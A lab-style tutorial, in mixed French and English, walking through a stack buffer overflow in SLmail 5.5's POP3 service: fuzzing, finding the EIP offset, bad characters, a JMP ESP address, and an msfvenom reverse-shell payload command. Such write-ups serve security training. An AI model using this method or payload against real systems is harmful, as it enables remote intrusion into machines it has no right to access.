
Dépassement de tampon dans Seattle Lab Mail (SLmail) 5.5 - POP3
Dépassement de tampon dans Seattle Lab Mail (SLmail) 5.5 - POP3
Simple STACK BAsed BUffer Overflow Step By Step
In the very First Step we will Fuzz The Application With a Simple Spike Script
meanwhile we wil also have SLmail attached[and running] to immunity Debugger
Plus d'informations sur Spike :: https://resources.infosecinstitute.com/topic/intro-to-fuzzing/
Ici se trouve un script Spike simple nommé spike_fuzz.spk
we will run it against the application using command
line_send_tcp 192.168.1.117 110 spike_fuzz.spk
where 192.168.1.117 is the IP of Target Machine Running SLMail and it is Running On Port 110

Pendant ce temps, si nous regardons immunity, nous verrons que l'application a planté

Now we will create a python POC that Replicates the crash and calculates the bytes at which the application crashes
python poc_crash.py

For Finding the offset we will utilize msf
1. Générer d'abord un motif
2. Noter l'EIP
3. Interroger cet EIP et la longueur avec MSF pour trouver l'offset
msf-pattern_create -l 2700

Dans poc_offset.py, nous utiliserons ce motif comme notre tampon de débordement !
python poc_offset.py

À ce stade, nous notons également la valeur EIP dans immunity où l'application a planté et s'est arrêtée

EIP is 39694438
::For Finding Offset::
msf-pattern_offset -l 2700 -q 39694438

L'offset est 2606, ce qui signifie 2606 octets avant d'atteindre EIP, et EIP lui-même a une longueur de 4 octets
Now we will Try TO Overwrite the EIP with 4B's ie:: in immunity we should have 42424242 {Hex for 4 B's}
python poc_eip_control.py

Et maintenant, si nous vérifions immunity

To keep this simple and short
Vous pouvez exécuter le script poc_badchars.py et trouver les mauvais caractères vous-même
For Keeping this short
Cette application a deux mauvais caractères (qui sont également ceux par défaut). Lorsque nous exécutons poc_badchars.py la première fois, nous verrons que le caractère \x0a pose problème, puis nous le retirons de notre charge utile de mauvais caractères et exécutons à nouveau le script. La deuxième fois, nous verrons que le caractère \x0d est sauté ; c'est donc notre deuxième mauvais caractère et nous le retirons de notre charge utile. Après cela, lorsque nous exécutons le script une troisième fois, tout est clair et bon !!
badchars are :: \x00\x0a\x0d
{nullbyte, Line feed, carriage return}
python poc_badchars.py
First we Find the right Module using Mona Modules in immunity
slmfc.dll is the most appropriate candidate as it does not have memory protections!

and now we find a JMP ESP address in this DLL
This address will be written to EIP so that we can redirect the Execution of Program to ESP which will result in the Execution of our shellcode!
!mona find -s "\xff\xe4" -m slmfc.dll
{\xff\xe4 opcode equivalent of JMP ESP}

from 19 pointer addresses we choose the First one
Now We will Put all this Together and Drop a Shell
1.) generate the shell code {excluding badchars}
2.) adding the address we Found {remeber Little Endian}
3.) Add the buffer , return address, some nop-sleds, shellcode
4.) we have a shell
Générons rapidement du shellcode avec msfvenom
msfvenom -p windows/shell_reverse_tcp LHOST=<lstening-ip> LPORT=<listening-port> EXITFUNC=thread -f py -a x86 -b "\x00\x0a\x0d"

Nous mettons tout ensemble dans le fichier exploit.py

Cette fois, nous exécutons SLmail sans immunity et écoutons également les connexions entrantes simultanément
once done with This we will run the Final exploit.py script!

EXCELLENT, NOUS AVONS UN SHELL !